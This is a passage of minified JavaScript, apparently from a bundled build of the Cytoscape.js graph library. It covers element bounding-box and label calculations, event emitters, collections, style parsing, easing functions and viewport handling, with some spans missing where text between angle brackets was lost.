u=r.pstyle("text-halign"),h=r.pstyle("text-valign"),f=W2(s,"labelWidth",n),d=W2(s,"labelHeight",n),p=W2(s,"labelX",n),m=W2(s,"labelY",n),g=r.pstyle(i+"text-margin-x").pfValue,y=r.pstyle(i+"text-margin-y").pfValue,v=r.isEdge(),x=r.pstyle(i+"text-rotation"),b=r.pstyle("text-outline-width").pfValue,T=r.pstyle("text-border-width").pfValue,S=T/2,w=r.pstyle("text-background-padding").pfValue,k=2,A=d,C=f,R=C/2,I=A/2,L,E,D,_;if(v)L=p-R,E=p+R,D=m-I,_=m+I;else{switch(u.value){case"left":L=p-C,E=p;break;case"center":L=p-R,E=p+R;break;case"right":L=p,E=p+C;break}switch(h.value){case"top":D=m-A,_=m;break;case"center":D=m-I,_=m+I;break;case"bottom":D=m,_=m+A;break}}var O=g-Math.max(b,S)-w-k,M=g+Math.max(b,S)+w+k,P=y-Math.max(b,S)-w-k,B=y+Math.max(b,S)+w+k;L+=O,E+=M,D+=P,_+=B;var F=n||"main",G=a.labelBounds,$=G[F]=G[F]||{};$.x1=L,$.y1=D,$.x2=E,$.y2=_,$.w=E-L,$.h=_-D,$.leftPad=O,$.rightPad=M,$.topPad=P,$.botPad=B;var U=v&&x.strValue==="autorotate",j=x.pfValue!=null&&x.pfValue!==0;if(U||j){var te=U?W2(a.rstyle,"labelAngle",n):x.pfValue,Y=Math.cos(te),oe=Math.sin(te),J=(L+E)/2,ue=(D+_)/2;if(!v){switch(u.value){case"left":J=E;break;case"right":J=L;break}switch(h.value){case"top":ue=_;break;case"bottom":ue=D;break}}var re=o(function(Te,q){return Te=Te-J,q=q-ue,{x:Te*Y-q*oe+J,y:Te*oe+q*Y+ue}},"rotate"),ee=re(L,D),Z=re(L,_),K=re(E,D),ae=re(E,_);L=Math.min(ee.x,Z.x,K.x,ae.x),E=Math.max(ee.x,Z.x,K.x,ae.x),D=Math.min(ee.y,Z.y,K.y,ae.y),_=Math.max(ee.y,Z.y,K.y,ae.y)}var Q=F+"Rot",de=G[Q]=G[Q]||{};de.x1=L,de.y1=D,de.x2=E,de.y2=_,de.w=E-L,de.h=_-D,Nl(e,L,D,E,_),Nl(a.labelBounds.all,L,D,E,_)}return e}},"updateBoundsFromLabel"),mce=o(function(e,r){if(!r.cy().headless()){var n=r.pstyle("outline-opacity").value,i=r.pstyle("outline-width").value,a=r.pstyle("outline-offset").value,s=i+a;Zue(e,r,n,s,"outside",s/2)}},"updateBoundsFromOutline"),Zue=o(function(e,r,n,i,a,s){if(!(n===0||i<=0||a==="inside")){var l=r.cy(),u=r.pstyle("shape").value,h=l.renderer().nodeShapes[u],f=r.position(),d=f.x,p=f.y,m=r.width(),g=r.height();if(h.hasMiterBounds){a==="center"&&(i/=2);var y=h.miterBounds(d,p,m,g,i);mf(e,y)}else s!=null&&s>0&&$k(e,[s,s,s,s])}},"updateBoundsFromMiter"),iUe=o(function(e,r){if(!r.cy().headless()){var n=r.pstyle("border-opacity").value,i=r.pstyle("border-width").pfValue,a=r.pstyle("border-position").value;Zue(e,r,n,i,a)}},"updateBoundsFromMiterBorder"),aUe=o(function(e,r){var n=e._private.cy,i=n.styleEnabled(),a=n.headless(),s=cs(),l=e._private,u=e.isNode(),h=e.isEdge(),f,d,p,m,g,y,v=l.rstyle,x=u&&i?e.pstyle("bounds-expansion").pfValue:[0],b=o(function(ne){return ne.pstyle("display").value!=="none"},"isDisplayed"),T=!i||b(e)&&(!h||b(e.source())&&b(e.target()));if(T){var S=0,w=0;i&&r.includeOverlays&&(S=e.pstyle("overlay-opacity").value,S!==0&&(w=e.pstyle("overlay-padding").value));var k=0,A=0;i&&r.includeUnderlays&&(k=e.pstyle("underlay-opacity").value,k!==0&&(A=e.pstyle("underlay-padding").value));var C=Math.max(w,A),R=0,I=0;if(i&&(R=e.pstyle("width").pfValue,I=R/2),u&&r.includeNodes){var L=e.position();g=L.x,y=L.y;var E=e.outerWidth(),D=E/2,_=e.outerHeight(),O=_/2;f=g-D,d=g+D,p=y-O,m=y+O,Nl(s,f,p,d,m),i&&mce(s,e),i&&r.includeOutlines&&!a&&mce(s,e),i&&iUe(s,e)}else if(h&&r.includeEdges)if(i&&!a){var M=e.pstyle("curve-style").strValue;if(f=Math.min(v.srcX,v.midX,v.tgtX),d=Math.max(v.srcX,v.midX,v.tgtX),p=Math.min(v.srcY,v.midY,v.tgtY),m=Math.max(v.srcY,v.midY,v.tgtY),f-=I,d+=I,p-=I,m+=I,Nl(s,f,p,d,m),M==="haystack"){var P=v.haystackPts;if(P&&P.length===2){if(f=P[0].x,p=P[0].y,d=P[1].x,m=P[1].y,f>d){var B=f;f=d,d=B}if(p>m){var F=p;p=m,m=F}Nl(s,f-I,p-I,d+I,m+I)}}else if(M==="bezier"||M==="unbundled-bezier"||gf(M,"segments")||gf(M,"taxi")){var G;switch(M){case"bezier":case"unbundled-bezier":G=v.bezierPts;break;case"segments":case"taxi":case"round-segments":case"round-taxi":G=v.linePts;break}if(G!=null)for(var $=0;$d){var J=f;f=d,d=J}if(p>m){var ue=p;p=m,m=ue}f-=I,d+=I,p-=I,m+=I,Nl(s,f,p,d,m)}if(i&&r.includeEdges&&h&&(Lk(s,e,"mid-source"),Lk(s,e,"mid-target"),Lk(s,e,"source"),Lk(s,e,"target")),i){var re=e.pstyle("ghost").value==="yes";if(re){var ee=e.pstyle("ghost-offset-x").pfValue,Z=e.pstyle("ghost-offset-y").pfValue;Nl(s,s.x1+ee,s.y1+Z,s.x2+ee,s.y2+Z)}}var K=l.bodyBounds=l.bodyBounds||{};ele(K,s),$k(K,x),Fk(K,1),i&&(f=s.x1,d=s.x2,p=s.y1,m=s.y2,Nl(s,f-C,p-C,d+C,m+C));var ae=l.overlayBounds=l.overlayBounds||{};ele(ae,s),$k(ae,x),Fk(ae,1);var Q=l.labelBounds=l.labelBounds||{};Q.all!=null?zze(Q.all):Q.all=cs(),i&&r.includeLabels&&(r.includeMainLabels&&NM(s,e,null),h&&(r.includeSourceLabels&&NM(s,e,"source"),r.includeTargetLabels&&NM(s,e,"target")))}return s.x1=Xo(s.x1),s.y1=Xo(s.y1),s.x2=Xo(s.x2),s.y2=Xo(s.y2),s.w=Xo(s.x2-s.x1),s.h=Xo(s.y2-s.y1),s.w>0&&s.h>0&&T&&($k(s,x),Fk(s,1)),s},"boundingBoxImpl"),Jue=o(function(e){var r=0,n=o(function(s){return(s?1:0)<=0;l--)s(l);return this};Cf.removeAllListeners=function(){return this.removeListener("*")};Cf.emit=Cf.trigger=function(t,e,r){var n=this.listeners,i=n.length;return this.emitting++,An(e)||(e=[e]),TUe(this,function(a,s){r!=null&&(n=[{event:s.event,type:s.type,namespace:s.namespace,callback:r}],i=n.length);for(var l=o(function(){var f=n[u];if(f.type===s.type&&(!f.namespace||f.namespace===s.namespace||f.namespace===xUe)&&a.eventMatches(a.context,f,s)){var d=[s];e!=null&&hze(d,e),a.beforeEmit(a.context,f,s),f.conf&&f.conf.one&&(a.listeners=a.listeners.filter(function(g){return g!==f}));var p=a.callbackContext(a.context,f,s),m=f.callback.apply(p,d);a.afterEmit(a.context,f,s),m===!1&&(s.stopPropagation(),s.preventDefault())}},"_loop2"),u=0;u1&&!s){var l=this.length-1,u=this[l],h=u._private.data.id;this[l]=void 0,this[e]=u,a.set(h,{ele:u,index:e})}return this.length--,this},"unmergeAt"),unmergeOne:o(function(e){e=e[0];var r=this._private,n=e._private.data.id,i=r.map,a=i.get(n);if(!a)return this;var s=a.index;return this.unmergeAt(s),this},"unmergeOne"),unmerge:o(function(e){var r=this._private.cy;if(!e)return this;if(e&&Jt(e)){var n=e;e=r.mutableElements().filter(n)}for(var i=0;i=0;r--){var n=this[r];e(n)&&this.unmergeAt(r)}return this},"unmergeBy"),map:o(function(e,r){for(var n=[],i=this,a=0;an&&(n=u,i=l)}return{value:n,ele:i}},"max"),min:o(function(e,r){for(var n=1/0,i,a=this,s=0;s=0&&a"u"?"undefined":$i(Symbol))!=e&&$i(Symbol.iterator)!=e;r&&(tE[Symbol.iterator]=function(){var n=this,i={value:void 0,done:!1},a=0,s=this.length;return sue({next:o(function(){return a1&&arguments[1]!==void 0?arguments[1]:!0,n=this[0],i=n.cy();if(i.styleEnabled()&&n){n._private.styleDirty&&(n._private.styleDirty=!1,i.style().apply(n));var a=n._private.style[e];return a??(r?i.style().getDefaultProperty(e):null)}},"parsedStyle"),numericStyle:o(function(e){var r=this[0];if(r.cy().styleEnabled()&&r){var n=r.pstyle(e);return n.pfValue!==void 0?n.pfValue:n.value}},"numericStyle"),numericStyleUnits:o(function(e){var r=this[0];if(r.cy().styleEnabled()&&r)return r.pstyle(e).units},"numericStyleUnits"),renderedStyle:o(function(e){var r=this.cy();if(!r.styleEnabled())return this;var n=this[0];if(n)return r.style().getRenderedStyle(n,e)},"renderedStyle"),style:o(function(e,r){var n=this.cy();if(!n.styleEnabled())return this;var i=!1,a=n.style();if(Yr(e)){var s=e;a.applyBypass(this,s,i),this.emitAndNotify("style")}else if(Jt(e))if(r===void 0){var l=this[0];return l?a.getStylePropertyValue(l,e):void 0}else a.applyBypass(this,e,r,i),this.emitAndNotify("style");else if(e===void 0){var u=this[0];return u?a.getRawStyle(u):void 0}return this},"style"),removeStyle:o(function(e){var r=this.cy();if(!r.styleEnabled())return this;var n=!1,i=r.style(),a=this;if(e===void 0)for(var s=0;s0&&e.push(f[0]),e.push(l[0])}return this.spawn(e,!0).filter(t)},"neighborhood"),closedNeighborhood:o(function(e){return this.neighborhood().add(this).filter(e)},"closedNeighborhood"),openNeighborhood:o(function(e){return this.neighborhood(e)},"openNeighborhood")});Ba.neighbourhood=Ba.neighborhood;Ba.closedNeighbourhood=Ba.closedNeighborhood;Ba.openNeighbourhood=Ba.openNeighborhood;ir(Ba,{source:jo(o(function(e){var r=this[0],n;return r&&(n=r._private.source||r.cy().collection()),n&&e?n.filter(e):n},"sourceImpl"),"source"),target:jo(o(function(e){var r=this[0],n;return r&&(n=r._private.target||r.cy().collection()),n&&e?n.filter(e):n},"targetImpl"),"target"),sources:Cce({attr:"source"}),targets:Cce({attr:"target"})});o(Cce,"defineSourceFunction");ir(Ba,{edgesWith:jo(Ace(),"edgesWith"),edgesTo:jo(Ace({thisIsSrc:!0}),"edgesTo")});o(Ace,"defineEdgesWithFunction");ir(Ba,{connectedEdges:jo(function(t){for(var e=[],r=this,n=0;n0);return s},"components"),component:o(function(){var e=this[0];return e.cy().mutableElements().components(e)[0]},"component")});Ba.componentsOf=Ba.components;va=o(function(e,r){var n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(e===void 0){Kn("A collection must have a reference to the core");return}var a=new zu,s=!1;if(!r)r=[];else if(r.length>0&&Yr(r[0])&&!mx(r[0])){s=!0;for(var l=[],u=new hg,h=0,f=r.length;h0&&arguments[0]!==void 0?arguments[0]:!0,e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,r=this,n=r.cy(),i=n._private,a=[],s=[],l,u=0,h=r.length;u0){for(var F=l.length===r.length?r:new va(n,l),G=0;G0&&arguments[0]!==void 0?arguments[0]:!0,e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,r=this,n=[],i={},a=r._private.cy;function s(_){for(var O=_._private.edges,M=0;M0&&(t?L.emitAndNotify("remove"):e&&L.emit("remove"));for(var E=0;Ef&&Math.abs(g.v)>f;);return p?function(y){return u[y*(u.length-1)|0]}:h},"springRK4Factory")})(),In=o(function(e,r,n,i){var a=RUe(e,r,n,i);return function(s,l,u){return s+(l-s)*a(u)}},"cubicBezier"),Vk={linear:o(function(e,r,n){return e+(r-e)*n},"linear"),ease:In(.25,.1,.25,1),"ease-in":In(.42,0,1,1),"ease-out":In(0,0,.58,1),"ease-in-out":In(.42,0,.58,1),"ease-in-sine":In(.47,0,.745,.715),"ease-out-sine":In(.39,.575,.565,1),"ease-in-out-sine":In(.445,.05,.55,.95),"ease-in-quad":In(.55,.085,.68,.53),"ease-out-quad":In(.25,.46,.45,.94),"ease-in-out-quad":In(.455,.03,.515,.955),"ease-in-cubic":In(.55,.055,.675,.19),"ease-out-cubic":In(.215,.61,.355,1),"ease-in-out-cubic":In(.645,.045,.355,1),"ease-in-quart":In(.895,.03,.685,.22),"ease-out-quart":In(.165,.84,.44,1),"ease-in-out-quart":In(.77,0,.175,1),"ease-in-quint":In(.755,.05,.855,.06),"ease-out-quint":In(.23,1,.32,1),"ease-in-out-quint":In(.86,0,.07,1),"ease-in-expo":In(.95,.05,.795,.035),"ease-out-expo":In(.19,1,.22,1),"ease-in-out-expo":In(1,0,0,1),"ease-in-circ":In(.6,.04,.98,.335),"ease-out-circ":In(.075,.82,.165,1),"ease-in-out-circ":In(.785,.135,.15,.86),spring:o(function(e,r,n){if(n===0)return Vk.linear;var i=NUe(e,r,n);return function(a,s,l){return a+(s-a)*i(l)}},"spring"),"cubic-bezier":In};o(Dce,"getEasedValue");o(Lce,"getValue");o(jm,"ease");o(MUe,"step$1");o(X2,"valid");o(IUe,"startAnimation");o(Rce,"stepAll");OUe={animate:un.animate(),animation:un.animation(),animated:un.animated(),clearQueue:un.clearQueue(),delay:un.delay(),delayAnimation:un.delayAnimation(),stop:un.stop(),addToAnimationPool:o(function(e){var r=this;r.styleEnabled()&&r._private.aniEles.merge(e)},"addToAnimationPool"),stopAnimationLoop:o(function(){this._private.animationsRunning=!1},"stopAnimationLoop"),startAnimationLoop:o(function(){var e=this;if(e._private.animationsRunning=!0,!e.styleEnabled())return;function r(){e._private.animationsRunning&&Kk(o(function(a){Rce(a,e),r()},"animationStep"))}o(r,"headlessStep");var n=e.renderer();n&&n.beforeRender?n.beforeRender(o(function(a,s){Rce(s,e)},"rendererAnimationStep"),n.beforeRenderPriorities.animations):r()},"startAnimationLoop")},PUe={qualifierCompare:o(function(e,r){return e==null||r==null?e==null&&r==null:e.sameText(r)},"qualifierCompare"),eventMatches:o(function(e,r,n){var i=r.qualifier;return i!=null?e!==n.target&&mx(n.target)&&i.matches(n.target):!0},"eventMatches"),addEventFields:o(function(e,r){r.cy=e,r.target=e},"addEventFields"),callbackContext:o(function(e,r,n){return r.qualifier!=null?n.target:e},"callbackContext")},Mk=o(function(e){return Jt(e)?new Ef(e):e},"argSelector"),uhe={createEmitter:o(function(){var e=this._private;return e.emitter||(e.emitter=new vE(PUe,this)),this},"createEmitter"),emitter:o(function(){return this._private.emitter},"emitter"),on:o(function(e,r,n){return this.emitter().on(e,Mk(r),n),this},"on"),removeListener:o(function(e,r,n){return this.emitter().removeListener(e,Mk(r),n),this},"removeListener"),removeAllListeners:o(function(){return this.emitter().removeAllListeners(),this},"removeAllListeners"),one:o(function(e,r,n){return this.emitter().one(e,Mk(r),n),this},"one"),once:o(function(e,r,n){return this.emitter().one(e,Mk(r),n),this},"once"),emit:o(function(e,r){return this.emitter().emit(e,r),this},"emit"),emitAndNotify:o(function(e,r){return this.emit(e),this.notify(e,r),this},"emitAndNotify")};un.eventAliasesOn(uhe);ZM={png:o(function(e){var r=this._private.renderer;return e=e||{},r.png(e)},"png"),jpg:o(function(e){var r=this._private.renderer;return e=e||{},e.bg=e.bg||"#fff",r.jpg(e)},"jpg")};ZM.jpeg=ZM.jpg;Uk={layout:o(function(e){var r=this;if(e==null){Kn("Layout options must be specified to make a layout");return}if(e.name==null){Kn("A `name` must be specified to make a layout");return}var n=e.name,i=r.extension("layout",n);if(i==null){Kn("No such layout `"+n+"` found. Did you forget to import it and `cytoscape.use()` it?");return}var a;Jt(e.eles)?a=r.$(e.eles):a=e.eles!=null?e.eles:r.$();var s=new i(ir({},e,{cy:r,eles:a}));return s},"layout")};Uk.createLayout=Uk.makeLayout=Uk.layout;BUe={notify:o(function(e,r){var n=this._private;if(this.batching()){n.batchNotifications=n.batchNotifications||{};var i=n.batchNotifications[e]=n.batchNotifications[e]||this.collection();r!=null&&i.merge(r);return}if(n.notificationsEnabled){var a=this.renderer();this.destroyed()||!a||a.notify(e,r)}},"notify"),notifications:o(function(e){var r=this._private;return e===void 0?r.notificationsEnabled:(r.notificationsEnabled=!!e,this)},"notifications"),noNotifications:o(function(e){this.notifications(!1),e(),this.notifications(!0)},"noNotifications"),batching:o(function(){return this._private.batchCount>0},"batching"),startBatch:o(function(){var e=this._private;return e.batchCount==null&&(e.batchCount=0),e.batchCount===0&&(e.batchStyleEles=this.collection(),e.batchNotifications={}),e.batchCount++,this},"startBatch"),endBatch:o(function(){var e=this._private;if(e.batchCount===0)return this;if(e.batchCount--,e.batchCount===0){e.batchStyleEles.updateStyle();var r=this.renderer();Object.keys(e.batchNotifications).forEach(function(n){var i=e.batchNotifications[n];i.empty()?r.notify(n):r.notify(n,i)})}return this},"endBatch"),batch:o(function(e){return this.startBatch(),e(),this.endBatch(),this},"batch"),batchData:o(function(e){var r=this;return this.batch(function(){for(var n=Object.keys(e),i=0;i0;)r.removeChild(r.childNodes[0]);e._private.renderer=null,e.mutableElements().forEach(function(n){var i=n._private;i.rscratch={},i.rstyle={},i.animation.current=[],i.animation.queue=[]})},"destroyRenderer"),onRender:o(function(e){return this.on("render",e)},"onRender"),offRender:o(function(e){return this.off("render",e)},"offRender")};JM.invalidateDimensions=JM.resize;Hk={collection:o(function(e,r){return Jt(e)?this.$(e):fo(e)?e.collection():An(e)?(r||(r={}),new va(this,e,r.unique,r.removed)):new va(this)},"collection"),nodes:o(function(e){var r=this.$(function(n){return n.isNode()});return e?r.filter(e):r},"nodes"),edges:o(function(e){var r=this.$(function(n){return n.isEdge()});return e?r.filter(e):r},"edges"),$:o(function(e){var r=this._private.elements;return e?r.filter(e):r.spawnSelf()},"$"),mutableElements:o(function(){return this._private.elements},"mutableElements")};Hk.elements=Hk.filter=Hk.$;na={},tx="t",$Ue="f";na.apply=function(t){for(var e=this,r=e._private,n=r.cy,i=n.collection(),a=0;a0;if(p||d&&m){var g=void 0;p&&m||p?g=h.properties:m&&(g=h.mappedProperties);for(var y=0;y1&&(S=1),l.color){var k=n.valueMin[0],A=n.valueMax[0],C=n.valueMin[1],R=n.valueMax[1],I=n.valueMin[2],L=n.valueMax[2],E=n.valueMin[3]==null?1:n.valueMin[3],D=n.valueMax[3]==null?1:n.valueMax[3],_=[Math.round(k+(A-k)*S),Math.round(C+(R-C)*S),Math.round(I+(L-I)*S),Math.round(E+(D-E)*S)];a={bypass:n.bypass,name:n.name,value:_,strValue:"rgb("+_[0]+", "+_[1]+", "+_[2]+")"}}else if(l.number){var O=n.valueMin+(n.valueMax-n.valueMin)*S;a=this.parse(n.name,O,n.bypass,p)}else return!1;if(!a)return y(),!1;a.mapping=n,n=a;break}case s.data:{for(var M=n.field.split("."),P=d.data,B=0;B0&&a>0){for(var l={},u=!1,h=0;h0?t.delayAnimation(s).play().promise().then(T):T()}).then(function(){return t.animation({style:l,duration:a,easing:t.pstyle("transition-timing-function").value,queue:!1}).play().promise()}).then(function(){r.removeBypasses(t,i),t.emitAndNotify("style"),n.transitioning=!1})}else n.transitioning&&(this.removeBypasses(t,i),t.emitAndNotify("style"),n.transitioning=!1)};na.checkTrigger=function(t,e,r,n,i,a){var s=this.properties[e],l=i(s);t.removed()||l!=null&&l(r,n,t)&&a(s)};na.checkZOrderTrigger=function(t,e,r,n){var i=this;this.checkTrigger(t,e,r,n,function(a){return a.triggersZOrder},function(){i._private.cy.notify("zorder",t)})};na.checkBoundsTrigger=function(t,e,r,n){this.checkTrigger(t,e,r,n,function(i){return i.triggersBounds},function(i){t.dirtyCompoundBoundsCache(),t.dirtyBoundingBoxCache()})};na.checkConnectedEdgesBoundsTrigger=function(t,e,r,n){this.checkTrigger(t,e,r,n,function(i){return i.triggersBoundsOfConnectedEdges},function(i){t.connectedEdges().forEach(function(a){a.dirtyBoundingBoxCache()})})};na.checkParallelEdgesBoundsTrigger=function(t,e,r,n){this.checkTrigger(t,e,r,n,function(i){return i.triggersBoundsOfParallelEdges},function(i){t.parallelEdges().forEach(function(a){a.dirtyBoundingBoxCache()})})};na.checkTriggers=function(t,e,r,n){t.dirtyStyleCache(),this.checkZOrderTrigger(t,e,r,n),this.checkBoundsTrigger(t,e,r,n),this.checkConnectedEdgesBoundsTrigger(t,e,r,n),this.checkParallelEdgesBoundsTrigger(t,e,r,n)};wx={};wx.applyBypass=function(t,e,r,n){var i=this,a=[],s=!0;if(e==="*"||e==="**"){if(r!==void 0)for(var l=0;li.length?n=n.substr(i.length):n=""}o(l,"removeSelAndBlockFromRemaining");function u(){a.length>s.length?a=a.substr(s.length):a=""}for(o(u,"removePropAndValFromRem");;){var h=n.match(/^\s*$/);if(h)break;var f=n.match(/^\s*((?:.|\s)+?)\s*\{((?:.|\s)+?)\}/);if(!f){hn("Halting stylesheet parsing: String stylesheet contains more to parse but no selector and block found in: "+n);break}i=f[0];var d=f[1];if(d!=="core"){var p=new Ef(d);if(p.invalid){hn("Skipping parsing of block: Invalid selector found in string stylesheet: "+d),l();continue}}var m=f[2],g=!1;a=m;for(var y=[];;){var v=a.match(/^\s*$/);if(v)break;var x=a.match(/^\s*(.+?)\s*:\s*(.+?)(?:\s*;|\s*$)/);if(!x){hn("Skipping parsing of block: Invalid formatting of style property and value definitions found in:"+m),g=!0;break}s=x[0];var b=x[1],T=x[2],S=e.properties[b];if(!S){hn("Skipping property: Invalid property name in: "+s),u();continue}var w=r.parse(b,T);if(!w){hn("Skipping property: Invalid property definition in: "+s),u();continue}y.push({name:b,val:T}),u()}if(g){l();break}r.selector(d);for(var k=0;k=7&&e[0]==="d"&&(f=new RegExp(l.data.regex).exec(e))){if(r)return!1;var p=l.data;return{name:t,value:f,strValue:""+e,mapped:p,field:f[1],bypass:r}}else if(e.length>=10&&e[0]==="m"&&(d=new RegExp(l.mapData.regex).exec(e))){if(r||h.multiple)return!1;var m=l.mapData;if(!(h.color||h.number))return!1;var g=this.parse(t,d[4]);if(!g||g.mapped)return!1;var y=this.parse(t,d[5]);if(!y||y.mapped)return!1;if(g.pfValue===y.pfValue||g.strValue===y.strValue)return hn("`"+t+": "+e+"` is not a valid mapper because the output range is zero; converting to `"+t+": "+g.strValue+"`"),this.parse(t,g.strValue);if(h.color){var v=g.value,x=y.value,b=v[0]===x[0]&&v[1]===x[1]&&v[2]===x[2]&&(v[3]===x[3]||(v[3]==null||v[3]===1)&&(x[3]==null||x[3]===1));if(b)return!1}return{name:t,value:d,strValue:""+e,mapped:m,field:d[1],fieldMin:parseFloat(d[2]),fieldMax:parseFloat(d[3]),valueMin:g.value,valueMax:y.value,bypass:r}}}if(h.multiple&&n!=="multiple"){var T;if(u?T=e.split(/\s+/):An(e)?T=e:T=[e],h.evenMultiple&&T.length%2!==0)return null;for(var S=[],w=[],k=[],A="",C=!1,R=0;R0?" ":"")+I.strValue}return h.validate&&!h.validate(S,w)?null:h.singleEnum&&C?S.length===1&&Jt(S[0])?{name:t,value:S[0],strValue:S[0],bypass:r}:null:{name:t,value:S,pfValue:k,strValue:A,bypass:r,units:w}}var L=o(function(){for(var re=0;reh.max||h.strictMax&&e===h.max))return null;var M={name:t,value:e,strValue:""+e+(E||""),units:E,bypass:r};return h.unitless||E!=="px"&&E!=="em"?M.pfValue=e:M.pfValue=E==="px"||!E?e:this.getEmSizeInPixels()*e,(E==="ms"||E==="s")&&(M.pfValue=E==="ms"?e:1e3*e),(E==="deg"||E==="rad")&&(M.pfValue=E==="rad"?e:Pze(e)),E==="%"&&(M.pfValue=e/100),M}else if(h.propList){var P=[],B=""+e;if(B!=="none"){for(var F=B.split(/\s*,\s*|\s+/),G=0;G0&&l>0&&!isNaN(n.w)&&!isNaN(n.h)&&n.w>0&&n.h>0){u=Math.min((s-2*r)/n.w,(l-2*r)/n.h),u=u>this._private.maxZoom?this._private.maxZoom:u,u=u=n.minZoom&&(n.maxZoom=r),this},"zoomRange"),minZoom:o(function(e){return e===void 0?this._private.minZoom:this.zoomRange({min:e})},"minZoom"),maxZoom:o(function(e){return e===void 0?this._private.maxZoom:this.zoomRange({max:e})},"maxZoom"),getZoomedViewport:o(function(e){var r=this._private,n=r.pan,i=r.zoom,a,s,l=!1;if(r.zoomingEnabled||(l=!0),At(e)?s=e:Yr(e)&&(s=e.level,e.position!=null?a=hE(e.position,i,n):e.renderedPosition!=null&&(a=e.renderedPosition),a!=null&&!r.panningEnabled&&(l=!0)),s=s>r.maxZoom?r.maxZoom:s,s=sr.maxZoom||!r.zoomingEnabled?s=!0:(r.zoom=u,a.push("zoom"))}if(i&&(!s||!e.cancelOnFailedZoom)&&r.panningEnabled){var h=e.pan;At(h.x)&&(r.pan.x=h.x,l=!1),At(h.y)&&(r.pan.y=h.y,l=!1),l||a.push("pan")}return a.length>0&&(a.push("viewport"),this.emit(a.join(" ")),this.notify("viewport")),this},"viewport"),center:o(function(e){var r=this.getCenterPan(e);return r&&(this._private.pan=r,this.emit("pan viewport"),this.notify("viewport")),this},"center"),getCenterPan:o(function(e,r){if(this._private.panningEnabled){if(Jt(e)){var n=e;e=this.mutableElements().filter(n)}else fo(e)||(e=this.mutableElements());if(e.length!==0){var i=e.boundingBox(),a=this.width(),s=this.height();r=r===void 0?this._private.zoom:r;var l={x:(a-r*(i.x1+i.x2))/2,y:(s-r*(i.y1+i.y2))/2};return l}}},"getCenterPan"),reset:o(function(){return!this._private.panningEnabled||!this._private.zoomingEnabled?this:(this.viewport({pan:{x:0,y:0},zoom:1}),this)},"reset"),invalidateSize:o(function(){this._private.sizeCache=null},"invalidateSize"),size:o(function(){var e=this._private,r=e.container,n=this;return e.sizeCache=e.sizeCache||(r?(function(){var i=n.window().getComputedStyle(r),a=o(function(l){return parseFloat(i.getPropertyValue(l))},"val");return{width:r.clientWidth-a("padding-left")-a("padding-right"),height:r.clientHeight-a("padding-top")-a("padding-bottom")}})():{width:1,height:1})},"size"),width:o(function(){return this.size().width},"width"),height:o(function(){return this.size().height},"height"),extent:o(function(){var e=this._private.pan,r=this._private.zoom,n=this.renderedExtent(),i={x1:(n.x1-e.x)/r,x2:(n.x2-e.x)/r,y1:(n.y1-e.y)/r,y2:(n.y2-e.y)/r};return i.w=i.x2-i.x1,i.h=i.y2-i.y1,i},"extent"),renderedExtent:o(function(){var e=this.width(),r=this.height();return{x1:0,y1:0,x2:e,y2:r,w:e,h:r}},"renderedExtent"),multiClickDebounceTime:o(function(e){if(e)this._private.multiClickDebounceTime=e;else return this._private.multiClickDebounceTime;return this},"multiClickDebounceTime")};kp.centre=kp.center;kp.autolockNodes=kp.autolock;kp.autoungrabifyNodes=kp.autoungrabify;hx={data:un.data({field:"data",bindingEvent:"data",allowBinding:!0,allowSetting:!0,settingEvent:"data",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,updateStyle:!0}),removeData:un.removeData({field:"data",event:"data",triggerFnName:"trigger",triggerEvent:!0,updateStyle:!0}),scratch:un.data({field:"scratch",bindingEvent:"scratch",allowBinding:!0,allowSetting:!0,settingEvent:"scratch",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,updateStyle:!0}),removeScratch:un.removeData({field:"scratch",event:"scratch",triggerFnName:"trigger",triggerEvent:!0,updateStyle:!0})};hx.attr=hx.data;hx.removeAttr=hx.removeData;fx=o(function(e){var r=this;e=ir({},e);var n=e.container;n&&!jk(n)&&jk(n[0])&&(n=n[0]);var i=n?n._cyreg:null;i=i||{},i&&i.cy&&(i.cy.destroy(),i={});var a=i.readies=i.readies||[];n&&(n._cyreg=i),i.cy=r;var s=Bi!==void 0&&n!==void 0&&!e.headless,l=e;l.layout=ir({name:s?"grid":"null"},l.layout),l.renderer=ir({name:s?"canvas":"null"},l.renderer);var u=o(function(g,y,v){return y!==void 0?y:v!==void 0?v:g},"defVal"),h=this._private={container:n,ready:!1,options:l,elements:new va(this),listeners:[],aniEles:new va(this),data:l.data||{},scratch:{},layout:null,renderer:null,destroyed:!1,notificationsEnabled:!0,minZoom:1e-50,maxZoom:1e50,zoomingEnabled:u(!0,l.zoomingEnabled),userZoomingEnabled:u(!0,l.userZoomingEnabled),panningEnabled:u(!0,l.panningEnabled),userPanningEnabled:u(!0,l.userPanningEnabled),boxSelectionEnabled:u(!0,l.boxSelectionEnabled),autolock:u(!1,l.autolock,l.autolockNodes),autoungrabify:u(!1,l.autoungrabify,l.autoungrabifyNodes),autounselectify:u(!1,l.autounselectify),styleEnabled:l.styleEnabled===void 0?s:l.styleEnabled,zoom:At(l.zoom)?l.zoom:1,pan:{x:Yr(l.pan)&&At(l.pan.x)?l.pan.x:0,y:Yr(l.pan)&&At(l.pan.y)?l.pan.y:0},animation:{current:[],queue:[]},hasCompoundNodes:!1,multiClickDebounceTime:u(250,l.multiClickDebounceTime)};this.createEmitter(),this.selectionType(l.selectionType),this.zoomRange({min:l.minZoom,max:l.maxZoom});var f=o(function(g,y){var v=g.some(L$e);if(v)return fg.all(g).then(y);y(g)},"loadExtData");h.styleEnabled&&r.setStyle([]);var d=ir({},l,l.renderer);r.initRenderer(d);var p=o(function(g,y,v){r.notifications(!1);var x=r.mutableElements();x.length>0&&x.remove(),g!=null&&(Yr(g)||An(g))&&r.add(g),r.one("layoutready",function(T){r.notifications(!0),r.emit(T),r.one("load",y),r.emitAndNotify("load")}).one("layoutstop",function(){r.one("done",v),r.emit("done")});var b=ir({},r._private.options.layout);b.eles=r.elements(),r.layout(b).run()},"setElesAndLayout");f([l.style,l.elements],function(m){var g=m[0],y=m[1];h.styleEnabled&&r.style().append(g),p(y,function(){r.startAnimationLoop(),h.ready=!0,oi(l.ready)&&r.on("ready",l.ready);for(var v=0;v0,l=!!t.boundingBox,u=cs(l?t.boundingBox:structuredClone(e.extent())),h;if(fo(t.roots))h=t.roots;else if(An(t.roots)){for(var 